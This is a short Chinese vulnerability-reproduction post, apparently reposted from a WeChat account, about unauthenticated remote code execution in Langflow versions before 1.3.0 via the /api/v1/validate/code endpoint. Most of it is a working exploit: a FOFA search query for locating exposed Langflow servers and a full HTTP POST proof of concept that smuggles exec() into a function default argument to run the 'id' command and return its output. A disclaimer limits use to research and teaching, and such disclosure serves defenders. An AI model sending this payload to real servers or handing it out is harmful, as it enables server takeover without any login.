漏洞描述
LangFlow是一个针对LangChain的GUI,它采用了反应流设计,提供了一种轻松的方式,通过拖放组件和聊天框来实验和原型化流程,将llm嵌入到您的应用程序中。1.3.0 之前的 Langflow 版本在/api/v1/validate/code 端点容易受到攻击,攻击者可在无需登陆的情况下执行代码,控制服务器。
资产确定
fofa:
product="LOGSPACE-LangFlow"
漏洞复现
1.利用如下POC执行id得到回显
POST /api/v1/validate/code HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Content-Length: 133
{
"code":
"def exploit(cmd=exec('raise Exception(__import__("subprocess").check_output("id",shell=True))')):nn pass"
}
原文始发于微信公众号(我爱林):漏洞复现 || Langflow 远程命令执行
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论